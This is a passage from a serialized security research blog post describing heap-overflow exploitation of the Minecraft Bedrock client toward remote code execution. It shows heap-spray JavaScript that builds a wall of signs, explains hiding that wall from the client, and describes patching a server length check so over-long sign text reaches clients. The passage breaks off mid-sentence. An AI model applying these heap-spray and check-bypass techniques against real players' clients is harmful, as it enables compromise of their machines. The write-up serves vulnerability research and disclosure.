type":25,"tag":271,"props":163273,"children":163274},{"class":13593,"line":14354},[163275,163279,163284],{"type":25,"tag":271,"props":163276,"children":163277},{"style":14289},[163278],{"type":30,"value":44489},{"type":25,"tag":271,"props":163280,"children":163281},{"style":13620},[163282],{"type":30,"value":163283}," create_wall",{"type":25,"tag":271,"props":163285,"children":163286},{"style":13625},[163287],{"type":30,"value":28858},{"type":25,"tag":271,"props":163289,"children":163290},{"class":13593,"line":14391},[163291,163296,163300],{"type":25,"tag":271,"props":163292,"children":163293},{"style":13598},[163294],{"type":30,"value":163295},"    signs",{"type":25,"tag":271,"props":163297,"children":163298},{"style":13603},[163299],{"type":30,"value":16155},{"type":25,"tag":271,"props":163301,"children":163302},{"style":13625},[163303],{"type":30,"value":163304}," [];\n",{"type":25,"tag":271,"props":163306,"children":163307},{"class":13593,"line":14400},[163308],{"type":25,"tag":271,"props":163309,"children":163310},{"emptyLinePlaceholder":18},[163311],{"type":30,"value":16829},{"type":25,"tag":271,"props":163313,"children":163314},{"class":13593,"line":16406},[163315,163319,163323,163327,163332,163336,163340,163344,163349,163353,163358,163362,163366,163370],{"type":25,"tag":271,"props":163316,"children":163317},{"style":16171},[163318],{"type":30,"value":16174},{"type":25,"tag":271,"props":163320,"children":163321},{"style":13625},[163322],{"type":30,"value":16213},{"type":25,"tag":271,"props":163324,"children":163325},{"style":14289},[163326],{"type":30,"value":24912},{"type":25,"tag":271,"props":163328,"children":163329},{"style":13598},[163330],{"type":30,"value":163331}," current_y",{"type":25,"tag":271,"props":163333,"children":163334},{"style":13603},[163335],{"type":30,"value":16155},{"type":25,"tag":271,"props":163337,"children":163338},{"style":16187},[163339],{"type":30,"value":16190},{"type":25,"tag":271,"props":163341,"children":163342},{"style":13625},[163343],{"type":30,"value":30349},{"type":25,"tag":271,"props":163345,"children":163346},{"style":13598},[163347],{"type":30,"value":163348},"current_y",{"type":25,"tag":271,"props":163350,"children":163351},{"style":13603},[163352],{"type":30,"value":21839},{"type":25,"tag":271,"props":163354,"children":163355},{"style":13598},[163356],{"type":30,"value":163357}," WALL_HEIGHT",{"type":25,"tag":271,"props":163359,"children":163360},{"style":13625},[163361],{"type":30,"value":30349},{"type":25,"tag":271,"props":163363,"children":163364},{"style":13598},[163365],{"type":30,"value":163348},{"type":25,"tag":271,"props":163367,"children":163368},{"style":13603},[163369],{"type":30,"value":64385},{"type":25,"tag":271,"props":163371,"children":163372},{"style":13625},[163373],{"type":30,"value":27925},{"type":25,"tag":271,"props":163375,"children":163376},{"class":13593,"line":16434},[163377,163381,163385,163389,163394,163398,163402,163406,163411,163415,163420,163424,163428,163432],{"type":25,"tag":271,"props":163378,"children":163379},{"style":16171},[163380],{"type":30,"value":73692},{"type":25,"tag":271,"props":163382,"children":163383},{"style":13625},[163384],{"type":30,"value":16213},{"type":25,"tag":271,"props":163386,"children":163387},{"style":14289},[163388],{"type":30,"value":24912},{"type":25,"tag":271,"props":163390,"children":163391},{"style":13598},[163392],{"type":30,"value":163393}," current_x",{"type":25,"tag":271,"props":163395,"children":163396},{"style":13603},[163397],{"type":30,"value":16155},{"type":25,"tag":271,"props":163399,"children":163400},{"style":16187},[163401],{"type":30,"value":16190},{"type":25,"tag":271,"props":163403,"children":163404},{"style":13625},[163405],{"type":30,"value":30349},{"type":25,"tag":271,"props":163407,"children":163408},{"style":13598},[163409],{"type":30,"value":163410},"current_x",{"type":25,"tag":271,"props":163412,"children":163413},{"style":13603},[163414],{"type":30,"value":21839},{"type":25,"tag":271,"props":163416,"children":163417},{"style":13598},[163418],{"type":30,"value":163419}," WALL_WIDTH",{"type":25,"tag":271,"props":163421,"children":163422},{"style":13625},[163423],{"type":30,"value":30349},{"type":25,"tag":271,"props":163425,"children":163426},{"style":13598},[163427],{"type":30,"value":163410},{"type":25,"tag":271,"props":163429,"children":163430},{"style":13603},[163431],{"type":30,"value":64385},{"type":25,"tag":271,"props":163433,"children":163434},{"style":13625},[163435],{"type":30,"value":27925},{"type":25,"tag":271,"props":163437,"children":163438},{"class":13593,"line":16447},[163439],{"type":25,"tag":271,"props":163440,"children":163441},{"emptyLinePlaceholder":18},[163442],{"type":30,"value":16829},{"type":25,"tag":271,"props":163444,"children":163445},{"class":13593,"line":16465},[163446,163451,163455],{"type":25,"tag":271,"props":163447,"children":163448},{"style":13625},[163449],{"type":30,"value":163450},"            [",{"type":25,"tag":271,"props":163452,"children":163453},{"style":13603},[163454],{"type":30,"value":22714},{"type":25,"tag":271,"props":163456,"children":163457},{"style":13625},[163458],{"type":30,"value":24897},{"type":25,"tag":271,"props":163460,"children":163461},{"class":13593,"line":16486},[163462],{"type":25,"tag":271,"props":163463,"children":163464},{"style":13625},[163465],{"type":30,"value":163466},"            \n",{"type":25,"tag":271,"props":163468,"children":163469},{"class":13593,"line":16495},[163470,163475,163480,163484],{"type":25,"tag":271,"props":163471,"children":163472},{"style":14289},[163473],{"type":30,"value":163474},"            const",{"type":25,"tag":271,"props":163476,"children":163477},{"style":13598},[163478],{"type":30,"value":163479}," sign_block",{"type":25,"tag":271,"props":163481,"children":163482},{"style":13603},[163483],{"type":30,"value":16155},{"type":25,"tag":271,"props":163485,"children":163486},{"style":13598},[163487],{"type":30,"value":163488}," world\n",{"type":25,"tag":271,"props":163490,"children":163491},{"class":13593,"line":16744},[163492,163497,163502,163506,163511],{"type":25,"tag":271,"props":163493,"children":163494},{"style":13625},[163495],{"type":30,"value":163496},"                .",{"type":25,"tag":271,"props":163498,"children":163499},{"style":13620},[163500],{"type":30,"value":163501},"getDimension",{"type":25,"tag":271,"props":163503,"children":163504},{"style":13625},[163505],{"type":30,"value":394},{"type":25,"tag":271,"props":163507,"children":163508},{"style":17388},[163509],{"type":30,"value":163510},"\"overworld\"",{"type":25,"tag":271,"props":163512,"children":163513},{"style":13625},[163514],{"type":30,"value":16299},{"type":25,"tag":271,"props":163516,"children":163517},{"class":13593,"line":16761},[163518,163522,163527,163531,163536],{"type":25,"tag":271,"props":163519,"children":163520},{"style":13625},[163521],{"type":30,"value":163496},{"type":25,"tag":271,"props":163523,"children":163524},{"style":13620},[163525],{"type":30,"value":163526},"getBlock",{"type":25,"tag":271,"props":163528,"children":163529},{"style":13625},[163530],{"type":30,"value":394},{"type":25,"tag":271,"props":163532,"children":163533},{"style":13598},[163534],{"type":30,"value":163535},"sign_location",{"type":25,"tag":271,"props":163537,"children":163538},{"style":13625},[163539],{"type":30,"value":13665},{"type":25,"tag":271,"props":163541,"children":163542},{"class":13593,"line":16778},[163543,163548,163552,163556],{"type":25,"tag":271,"props":163544,"children":163545},{"style":13598},[163546],{"type":30,"value":163547},"            sign_block",{"type":25,"tag":271,"props":163549,"children":163550},{"style":13625},[163551],{"type":30,"value":1860},{"type":25,"tag":271,"props":163553,"children":163554},{"style":13620},[163555],{"type":30,"value":163154},{"type":25,"tag":271,"props":163557,"children":163558},{"style":13625},[163559],{"type":30,"value":16609},{"type":25,"tag":271,"props":163561,"children":163562},{"class":13593,"line":16791},[163563,163568,163572,163576,163580,163585],{"type":25,"tag":271,"props":163564,"children":163565},{"style":13598},[163566],{"type":30,"value":163567},"                BlockPermutation",{"type":25,"tag":271,"props":163569,"children":163570},{"style":13625},[163571],{"type":30,"value":1860},{"type":25,"tag":271,"props":163573,"children":163574},{"style":13620},[163575],{"type":30,"value":163175},{"type":25,"tag":271,"props":163577,"children":163578},{"style":13625},[163579],{"type":30,"value":394},{"type":25,"tag":271,"props":163581,"children":163582},{"style":17388},[163583],{"type":30,"value":163584},"\"minecraft:wall_sign\"",{"type":25,"tag":271,"props":163586,"children":163587},{"style":13625},[163588],{"type":30,"value":61998},{"type":25,"tag":271,"props":163590,"children":163591},{"class":13593,"line":16800},[163592,163597],{"type":25,"tag":271,"props":163593,"children":163594},{"style":13598},[163595],{"type":30,"value":163596},"                    facing_direction:",{"type":25,"tag":271,"props":163598,"children":163599},{"style":16187},[163600],{"type":30,"value":32447},{"type":25,"tag":271,"props":163602,"children":163603},{"class":13593,"line":16823},[163604],{"type":25,"tag":271,"props":163605,"children":163606},{"style":13625},[163607],{"type":30,"value":84185},{"type":25,"tag":271,"props":163609,"children":163610},{"class":13593,"line":16832},[163611],{"type":25,"tag":271,"props":163612,"children":163613},{"style":13625},[163614],{"type":30,"value":163615},"            ));\n",{"type":25,"tag":271,"props":163617,"children":163618},{"class":13593,"line":16841},[163619,163624,163629,163633],{"type":25,"tag":271,"props":163620,"children":163621},{"style":14289},[163622],{"type":30,"value":163623},"            let",{"type":25,"tag":271,"props":163625,"children":163626},{"style":13598},[163627],{"type":30,"value":163628}," sign_component",{"type":25,"tag":271,"props":163630,"children":163631},{"style":13603},[163632],{"type":30,"value":16155},{"type":25,"tag":271,"props":163634,"children":163635},{"style":13598},[163636],{"type":30,"value":163637}," sign_block\n",{"type":25,"tag":271,"props":163639,"children":163640},{"class":13593,"line":16907},[163641,163645,163650,163654,163659,163663,163668],{"type":25,"tag":271,"props":163642,"children":163643},{"style":13625},[163644],{"type":30,"value":163496},{"type":25,"tag":271,"props":163646,"children":163647},{"style":13620},[163648],{"type":30,"value":163649},"getComponent",{"type":25,"tag":271,"props":163651,"children":163652},{"style":13625},[163653],{"type":30,"value":394},{"type":25,"tag":271,"props":163655,"children":163656},{"style":13598},[163657],{"type":30,"value":163658},"BlockComponentTypes",{"type":25,"tag":271,"props":163660,"children":163661},{"style":13625},[163662],{"type":30,"value":1860},{"type":25,"tag":271,"props":163664,"children":163665},{"style":13598},[163666],{"type":30,"value":163667},"Sign",{"type":25,"tag":271,"props":163669,"children":163670},{"style":13625},[163671],{"type":30,"value":13665},{"type":25,"tag":271,"props":163673,"children":163674},{"class":13593,"line":16915},[163675],{"type":25,"tag":271,"props":163676,"children":163677},{"emptyLinePlaceholder":18},[163678],{"type":30,"value":16829},{"type":25,"tag":271,"props":163680,"children":163681},{"class":13593,"line":16945},[163682,163687,163691,163695],{"type":25,"tag":271,"props":163683,"children":163684},{"style":13598},[163685],{"type":30,"value":163686},"            signs",{"type":25,"tag":271,"props":163688,"children":163689},{"style":13625},[163690],{"type":30,"value":1860},{"type":25,"tag":271,"props":163692,"children":163693},{"style":13620},[163694],{"type":30,"value":16968},{"type":25,"tag":271,"props":163696,"children":163697},{"style":13625},[163698],{"type":30,"value":28262},{"type":25,"tag":271,"props":163700,"children":163701},{"class":13593,"line":16953},[163702,163707,163711],{"type":25,"tag":271,"props":163703,"children":163704},{"style":13598},[163705],{"type":30,"value":163706},"                sign:",{"type":25,"tag":271,"props":163708,"children":163709},{"style":13598},[163710],{"type":30,"value":163628},{"type":25,"tag":271,"props":163712,"children":163713},{"style":13625},[163714],{"type":30,"value":14351},{"type":25,"tag":271,"props":163716,"children":163717},{"class":13593,"line":16984},[163718,163723,163727],{"type":25,"tag":271,"props":163719,"children":163720},{"style":13598},[163721],{"type":30,"value":163722},"                allocated:",{"type":25,"tag":271,"props":163724,"children":163725},{"style":14289},[163726],{"type":30,"value":22179},{"type":25,"tag":271,"props":163728,"children":163729},{"style":13625},[163730],{"type":30,"value":14351},{"type":25,"tag":271,"props":163732,"children":163733},{"class":13593,"line":16992},[163734,163739,163743],{"type":25,"tag":271,"props":163735,"children":163736},{"style":13598},[163737],{"type":30,"value":163738},"                block:",{"type":25,"tag":271,"props":163740,"children":163741},{"style":13598},[163742],{"type":30,"value":163479},{"type":25,"tag":271,"props":163744,"children":163745},{"style":13625},[163746],{"type":30,"value":14351},{"type":25,"tag":271,"props":163748,"children":163749},{"class":13593,"line":17052},[163750,163755],{"type":25,"tag":271,"props":163751,"children":163752},{"style":13598},[163753],{"type":30,"value":163754},"                removed:",{"type":25,"tag":271,"props":163756,"children":163757},{"style":14289},[163758],{"type":30,"value":25436},{"type":25,"tag":271,"props":163760,"children":163761},{"class":13593,"line":22168},[163762],{"type":25,"tag":271,"props":163763,"children":163764},{"style":13625},[163765],{"type":30,"value":163766},"            });\n",{"type":25,"tag":271,"props":163768,"children":163769},{"class":13593,"line":22186},[163770],{"type":25,"tag":271,"props":163771,"children":163772},{"style":13625},[163773],{"type":30,"value":16492},{"type":25,"tag":271,"props":163775,"children":163776},{"class":13593,"line":22231},[163777],{"type":25,"tag":271,"props":163778,"children":163779},{"style":13625},[163780],{"type":30,"value":16501},{"type":25,"tag":271,"props":163782,"children":163783},{"class":13593,"line":22337},[163784],{"type":25,"tag":271,"props":163785,"children":163786},{"style":13625},[163787],{"type":30,"value":17058},{"type":25,"tag":271,"props":163789,"children":163790},{"class":13593,"line":36608},[163791],{"type":25,"tag":271,"props":163792,"children":163793},{"emptyLinePlaceholder":18},[163794],{"type":30,"value":16829},{"type":25,"tag":271,"props":163796,"children":163797},{"class":13593,"line":36643},[163798,163802,163807],{"type":25,"tag":271,"props":163799,"children":163800},{"style":14289},[163801],{"type":30,"value":44489},{"type":25,"tag":271,"props":163803,"children":163804},{"style":13620},[163805],{"type":30,"value":163806}," remove_wall",{"type":25,"tag":271,"props":163808,"children":163809},{"style":13625},[163810],{"type":30,"value":28858},{"type":25,"tag":271,"props":163812,"children":163813},{"class":13593,"line":36651},[163814,163818,163822],{"type":25,"tag":271,"props":163815,"children":163816},{"style":13598},[163817],{"type":30,"value":163295},{"type":25,"tag":271,"props":163819,"children":163820},{"style":13603},[163821],{"type":30,"value":16155},{"type":25,"tag":271,"props":163823,"children":163824},{"style":13625},[163825],{"type":30,"value":163304},{"type":25,"tag":271,"props":163827,"children":163828},{"class":13593,"line":36659},[163829],{"type":25,"tag":271,"props":163830,"children":163831},{"style":13625},[163832],{"type":30,"value":74901},{"type":25,"tag":271,"props":163834,"children":163835},{"class":13593,"line":36668},[163836,163840,163844,163848,163852,163856,163860,163864,163868,163872,163876,163880,163884,163888],{"type":25,"tag":271,"props":163837,"children":163838},{"style":16171},[163839],{"type":30,"value":16174},{"type":25,"tag":271,"props":163841,"children":163842},{"style":13625},[163843],{"type":30,"value":16213},{"type":25,"tag":271,"props":163845,"children":163846},{"style":14289},[163847],{"type":30,"value":24912},{"type":25,"tag":271,"props":163849,"children":163850},{"style":13598},[163851],{"type":30,"value":163331},{"type":25,"tag":271,"props":163853,"children":163854},{"style":13603},[163855],{"type":30,"value":16155},{"type":25,"tag":271,"props":163857,"children":163858},{"style":16187},[163859],{"type":30,"value":16190},{"type":25,"tag":271,"props":163861,"children":163862},{"style":13625},[163863],{"type":30,"value":30349},{"type":25,"tag":271,"props":163865,"children":163866},{"style":13598},[163867],{"type":30,"value":163348},{"type":25,"tag":271,"props":163869,"children":163870},{"style":13603},[163871],{"type":30,"value":21839},{"type":25,"tag":271,"props":163873,"children":163874},{"style":13598},[163875],{"type":30,"value":163357},{"type":25,"tag":271,"props":163877,"children":163878},{"style":13625},[163879],{"type":30,"value":30349},{"type":25,"tag":271,"props":163881,"children":163882},{"style":13598},[163883],{"type":30,"value":163348},{"type":25,"tag":271,"props":163885,"children":163886},{"style":13603},[163887],{"type":30,"value":64385},{"type":25,"tag":271,"props":163889,"children":163890},{"style":13625},[163891],{"type":30,"value":27925},{"type":25,"tag":271,"props":163893,"children":163894},{"class":13593,"line":36710},[163895,163899,163903,163907,163911,163915,163919,163923,163927,163931,163935,163939,163943,163947],{"type":25,"tag":271,"props":163896,"children":163897},{"style":16171},[163898],{"type":30,"value":73692},{"type":25,"tag":271,"props":163900,"children":163901},{"style":13625},[163902],{"type":30,"value":16213},{"type":25,"tag":271,"props":163904,"children":163905},{"style":14289},[163906],{"type":30,"value":24912},{"type":25,"tag":271,"props":163908,"children":163909},{"style":13598},[163910],{"type":30,"value":163393},{"type":25,"tag":271,"props":163912,"children":163913},{"style":13603},[163914],{"type":30,"value":16155},{"type":25,"tag":271,"props":163916,"children":163917},{"style":16187},[163918],{"type":30,"value":16190},{"type":25,"tag":271,"props":163920,"children":163921},{"style":13625},[163922],{"type":30,"value":30349},{"type":25,"tag":271,"props":163924,"children":163925},{"style":13598},[163926],{"type":30,"value":163410},{"type":25,"tag":271,"props":163928,"children":163929},{"style":13603},[163930],{"type":30,"value":21839},{"type":25,"tag":271,"props":163932,"children":163933},{"style":13598},[163934],{"type":30,"value":163419},{"type":25,"tag":271,"props":163936,"children":163937},{"style":13625},[163938],{"type":30,"value":30349},{"type":25,"tag":271,"props":163940,"children":163941},{"style":13598},[163942],{"type":30,"value":163410},{"type":25,"tag":271,"props":163944,"children":163945},{"style":13603},[163946],{"type":30,"value":64385},{"type":25,"tag":271,"props":163948,"children":163949},{"style":13625},[163950],{"type":30,"value":27925},{"type":25,"tag":271,"props":163952,"children":163953},{"class":13593,"line":36743},[163954],{"type":25,"tag":271,"props":163955,"children":163956},{"style":13625},[163957],{"type":30,"value":163466},{"type":25,"tag":271,"props":163959,"children":163960},{"class":13593,"line":36751},[163961,163965,163969],{"type":25,"tag":271,"props":163962,"children":163963},{"style":13625},[163964],{"type":30,"value":163450},{"type":25,"tag":271,"props":163966,"children":163967},{"style":13603},[163968],{"type":30,"value":22714},{"type":25,"tag":271,"props":163970,"children":163971},{"style":13625},[163972],{"type":30,"value":24897},{"type":25,"tag":271,"props":163974,"children":163975},{"class":13593,"line":36759},[163976],{"type":25,"tag":271,"props":163977,"children":163978},{"style":13625},[163979],{"type":30,"value":163980},"             \n",{"type":25,"tag":271,"props":163982,"children":163983},{"class":13593,"line":36768},[163984,163988,163992,163996,164000,164005],{"type":25,"tag":271,"props":163985,"children":163986},{"style":14289},[163987],{"type":30,"value":163474},{"type":25,"tag":271,"props":163989,"children":163990},{"style":13598},[163991],{"type":30,"value":163479},{"type":25,"tag":271,"props":163993,"children":163994},{"style":13603},[163995],{"type":30,"value":16155},{"type":25,"tag":271,"props":163997,"children":163998},{"style":16171},[163999],{"type":30,"value":49323},{"type":25,"tag":271,"props":164001,"children":164002},{"style":13620},[164003],{"type":30,"value":164004}," wait_for_block",{"type":25,"tag":271,"props":164006,"children":164007},{"style":13625},[164008],{"type":30,"value":16609},{"type":25,"tag":271,"props":164010,"children":164011},{"class":13593,"line":36844},[164012,164017,164021,164025,164029,164033],{"type":25,"tag":271,"props":164013,"children":164014},{"style":13598},[164015],{"type":30,"value":164016},"                world",{"type":25,"tag":271,"props":164018,"children":164019},{"style":13625},[164020],{"type":30,"value":1860},{"type":25,"tag":271,"props":164022,"children":164023},{"style":13620},[164024],{"type":30,"value":163501},{"type":25,"tag":271,"props":164026,"children":164027},{"style":13625},[164028],{"type":30,"value":394},{"type":25,"tag":271,"props":164030,"children":164031},{"style":17388},[164032],{"type":30,"value":163510},{"type":25,"tag":271,"props":164034,"children":164035},{"style":13625},[164036],{"type":30,"value":19860},{"type":25,"tag":271,"props":164038,"children":164039},{"class":13593,"line":36877},[164040],{"type":25,"tag":271,"props":164041,"children":164042},{"style":13598},[164043],{"type":30,"value":164044},"                sign_location\n",{"type":25,"tag":271,"props":164046,"children":164047},{"class":13593,"line":36885},[164048],{"type":25,"tag":271,"props":164049,"children":164050},{"style":13625},[164051],{"type":30,"value":137554},{"type":25,"tag":271,"props":164053,"children":164054},{"class":13593,"line":36893},[164055,164059,164063,164067],{"type":25,"tag":271,"props":164056,"children":164057},{"style":13598},[164058],{"type":30,"value":163547},{"type":25,"tag":271,"props":164060,"children":164061},{"style":13625},[164062],{"type":30,"value":1860},{"type":25,"tag":271,"props":164064,"children":164065},{"style":13620},[164066],{"type":30,"value":163154},{"type":25,"tag":271,"props":164068,"children":164069},{"style":13625},[164070],{"type":30,"value":16609},{"type":25,"tag":271,"props":164072,"children":164073},{"class":13593,"line":36930},[164074,164078,164082,164086,164090,164094],{"type":25,"tag":271,"props":164075,"children":164076},{"style":13598},[164077],{"type":30,"value":163567},{"type":25,"tag":271,"props":164079,"children":164080},{"style":13625},[164081],{"type":30,"value":1860},{"type":25,"tag":271,"props":164083,"children":164084},{"style":13620},[164085],{"type":30,"value":163175},{"type":25,"tag":271,"props":164087,"children":164088},{"style":13625},[164089],{"type":30,"value":394},{"type":25,"tag":271,"props":164091,"children":164092},{"style":17388},[164093],{"type":30,"value":163184},{"type":25,"tag":271,"props":164095,"children":164096},{"style":13625},[164097],{"type":30,"value":16299},{"type":25,"tag":271,"props":164099,"children":164100},{"class":13593,"line":36943},[164101],{"type":25,"tag":271,"props":164102,"children":164103},{"style":13625},[164104],{"type":30,"value":137554},{"type":25,"tag":271,"props":164106,"children":164107},{"class":13593,"line":36956},[164108],{"type":25,"tag":271,"props":164109,"children":164110},{"emptyLinePlaceholder":18},[164111],{"type":30,"value":16829},{"type":25,"tag":271,"props":164113,"children":164114},{"class":13593,"line":36969},[164115,164119,164123],{"type":25,"tag":271,"props":164116,"children":164117},{"style":13625},[164118],{"type":30,"value":163450},{"type":25,"tag":271,"props":164120,"children":164121},{"style":13603},[164122],{"type":30,"value":22714},{"type":25,"tag":271,"props":164124,"children":164125},{"style":13625},[164126],{"type":30,"value":24897},{"type":25,"tag":271,"props":164128,"children":164129},{"class":13593,"line":37023},[164130],{"type":25,"tag":271,"props":164131,"children":164132},{"style":13625},[164133],{"type":30,"value":16492},{"type":25,"tag":271,"props":164135,"children":164136},{"class":13593,"line":37032},[164137],{"type":25,"tag":271,"props":164138,"children":164139},{"style":13625},[164140],{"type":30,"value":16501},{"type":25,"tag":271,"props":164142,"children":164143},{"class":13593,"line":45393},[164144],{"type":25,"tag":271,"props":164145,"children":164146},{"style":13625},[164147],{"type":30,"value":17058},{"type":25,"tag":271,"props":164149,"children":164150},{"class":13593,"line":45414},[164151],{"type":25,"tag":271,"props":164152,"children":164153},{"emptyLinePlaceholder":18},[164154],{"type":30,"value":16829},{"type":25,"tag":271,"props":164156,"children":164157},{"class":13593,"line":94064},[164158,164163,164167,164172,164176,164181,164185,164190,164194,164199,164203,164207],{"type":25,"tag":271,"props":164159,"children":164160},{"style":13598},[164161],{"type":30,"value":164162},"world",{"type":25,"tag":271,"props":164164,"children":164165},{"style":13625},[164166],{"type":30,"value":1860},{"type":25,"tag":271,"props":164168,"children":164169},{"style":13598},[164170],{"type":30,"value":164171},"afterEvents",{"type":25,"tag":271,"props":164173,"children":164174},{"style":13625},[164175],{"type":30,"value":1860},{"type":25,"tag":271,"props":164177,"children":164178},{"style":13598},[164179],{"type":30,"value":164180},"playerSpawn",{"type":25,"tag":271,"props":164182,"children":164183},{"style":13625},[164184],{"type":30,"value":1860},{"type":25,"tag":271,"props":164186,"children":164187},{"style":13620},[164188],{"type":30,"value":164189},"subscribe",{"type":25,"tag":271,"props":164191,"children":164192},{"style":13625},[164193],{"type":30,"value":44635},{"type":25,"tag":271,"props":164195,"children":164196},{"style":13598},[164197],{"type":30,"value":164198},"arg",{"type":25,"tag":271,"props":164200,"children":164201},{"style":13625},[164202],{"type":30,"value":14406},{"type":25,"tag":271,"props":164204,"children":164205},{"style":14289},[164206],{"type":30,"value":27943},{"type":25,"tag":271,"props":164208,"children":164209},{"style":13625},[164210],{"type":30,"value":16431},{"type":25,"tag":271,"props":164212,"children":164213},{"class":13593,"line":94077},[164214,164219],{"type":25,"tag":271,"props":164215,"children":164216},{"style":13620},[164217],{"type":30,"value":164218},"    create_wall",{"type":25,"tag":271,"props":164220,"children":164221},{"style":13625},[164222],{"type":30,"value":16820},{"type":25,"tag":271,"props":164224,"children":164225},{"class":13593,"line":94085},[164226],{"type":25,"tag":271,"props":164227,"children":164228},{"style":13625},[164229],{"type":30,"value":48449},{"type":25,"tag":271,"props":164231,"children":164232},{"class":13593,"line":94093},[164233],{"type":25,"tag":271,"props":164234,"children":164235},{"emptyLinePlaceholder":18},[164236],{"type":30,"value":16829},{"type":25,"tag":271,"props":164238,"children":164239},{"class":13593,"line":94101},[164240,164244,164248,164253,164257,164262,164266,164270,164274,164278,164282,164286,164290,164294],{"type":25,"tag":271,"props":164241,"children":164242},{"style":13598},[164243],{"type":30,"value":164162},{"type":25,"tag":271,"props":164245,"children":164246},{"style":13625},[164247],{"type":30,"value":1860},{"type":25,"tag":271,"props":164249,"children":164250},{"style":13598},[164251],{"type":30,"value":164252},"beforeEvents",{"type":25,"tag":271,"props":164254,"children":164255},{"style":13625},[164256],{"type":30,"value":1860},{"type":25,"tag":271,"props":164258,"children":164259},{"style":13598},[164260],{"type":30,"value":164261},"playerLeave",{"type":25,"tag":271,"props":164263,"children":164264},{"style":13625},[164265],{"type":30,"value":1860},{"type":25,"tag":271,"props":164267,"children":164268},{"style":13620},[164269],{"type":30,"value":164189},{"type":25,"tag":271,"props":164271,"children":164272},{"style":13625},[164273],{"type":30,"value":394},{"type":25,"tag":271,"props":164275,"children":164276},{"style":14289},[164277],{"type":30,"value":49257},{"type":25,"tag":271,"props":164279,"children":164280},{"style":13625},[164281],{"type":30,"value":16213},{"type":25,"tag":271,"props":164283,"children":164284},{"style":13598},[164285],{"type":30,"value":164198},{"type":25,"tag":271,"props":164287,"children":164288},{"style":13625},[164289],{"type":30,"value":14406},{"type":25,"tag":271,"props":164291,"children":164292},{"style":14289},[164293],{"type":30,"value":27943},{"type":25,"tag":271,"props":164295,"children":164296},{"style":13625},[164297],{"type":30,"value":16431},{"type":25,"tag":271,"props":164299,"children":164300},{"class":13593,"line":94141},[164301,164306],{"type":25,"tag":271,"props":164302,"children":164303},{"style":13620},[164304],{"type":30,"value":164305},"    remove_wall",{"type":25,"tag":271,"props":164307,"children":164308},{"style":13625},[164309],{"type":30,"value":16820},{"type":25,"tag":271,"props":164311,"children":164312},{"class":13593,"line":94149},[164313],{"type":25,"tag":271,"props":164314,"children":164315},{"style":13625},[164316],{"type":30,"value":48449},{"type":25,"tag":26,"props":164318,"children":164319},{},[164320],{"type":30,"value":164321},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":25,"tag":26,"props":164323,"children":164324},{},[164325],{"type":25,"tag":698,"props":164326,"children":164329},{"alt":164327,"src":164328},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":25,"tag":26,"props":164331,"children":164332},{},[164333],{"type":30,"value":164334},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":25,"tag":2352,"props":164336,"children":164338},{"id":164337},"a-small-roadblock",[164339],{"type":30,"value":164340},"A Small Roadblock",{"type":25,"tag":26,"props":164342,"children":164343},{},[164344],{"type":30,"value":164345},"While testing our heap spray method, we encountered the following error:",{"type":25,"tag":7764,"props":164347,"children":164349},{"code":164348},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[164350],{"type":25,"tag":264,"props":164351,"children":164352},{"__ignoreMap":7},[164353],{"type":30,"value":164348},{"type":25,"tag":26,"props":164355,"children":164356},{},[164357,164359,164365],{"type":30,"value":164358},"An error is thrown by the server executable while trying to assign text longer than ",{"type":25,"tag":264,"props":164360,"children":164362},{"className":164361},[],[164363],{"type":30,"value":164364},"512",{"type":30,"value":164366}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":25,"tag":26,"props":164368,"children":164369},{},[164370],{"type":30,"value":164371},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":25,"tag":26,"props":164373,"children":164374},{},[164375],{"type":30,"value":164376},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":25,"tag":26,"props":164378,"children":164379},{},[164380],{"type":25,"tag":698,"props":164381,"children":164383},{"alt":63694,"src":164382},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":25,"tag":26,"props":164385,"children":164386},{},[164387,164389,164395],{"type":30,"value":164388},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":25,"tag":264,"props":164390,"children":164392},{"className":164391},[],[164393],{"type":30,"value":164394},"string_length \u003C= 512",{"type":30,"value":164396}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":25,"tag":26,"props":164398,"children":164399},{},[164400],{"type":30,"value":164401},"The disassembly of the comparison looks like this:",{"type":25,"tag":26,"props":164403,"children":164404},{},[164405],{"type":25,"tag":698,"props":164406,"children":164408},{"alt":63694,"src":164407},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":25,"tag":26,"props":164410,"children":164411},{},[164412,164414,164419,164421,164426,164427,164432,164434,164440,164442,164448,164450,164455,164457,164462],{"type":30,"value":164413},"The code compares ",{"type":25,"tag":264,"props":164415,"children":164417},{"className":164416},[],[164418],{"type":30,"value":69889},{"type":30,"value":164420}," (the string length) to ",{"type":25,"tag":264,"props":164422,"children":164424},{"className":164423},[],[164425],{"type":30,"value":140254},{"type":30,"value":16213},{"type":25,"tag":264,"props":164428,"children":164430},{"className":164429},[],[164431],{"type":30,"value":164364},{"type":30,"value":164433}," decimal). It then performs a ",{"type":25,"tag":264,"props":164435,"children":164437},{"className":164436},[],[164438],{"type":30,"value":164439},"jbe",{"type":30,"value":164441},", jumping to address ",{"type":25,"tag":264,"props":164443,"children":164445},{"className":164444},[],[164446],{"type":30,"value":164447},"0x14275114c",{"type":30,"value":164449}," if ",{"type":25,"tag":264,"props":164451,"children":164453},{"className":164452},[],[164454],{"type":30,"value":69889},{"type":30,"value":164456}," is less than or equal to ",{"type":25,"tag":264,"props":164458,"children":164460},{"className":164459},[],[164461],{"type":30,"value":164364},{"type":30,"value":164463},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":25,"tag":26,"props":164465,"children":164466},{},[164467,164469,164474,164476,164482],{"type":30,"value":164468},"To force execution down this path, we patched the ",{"type":25,"tag":264,"props":164470,"children":164472},{"className":164471},[],[164473],{"type":30,"value":164439},{"type":30,"value":164475}," instruction to an unconditional 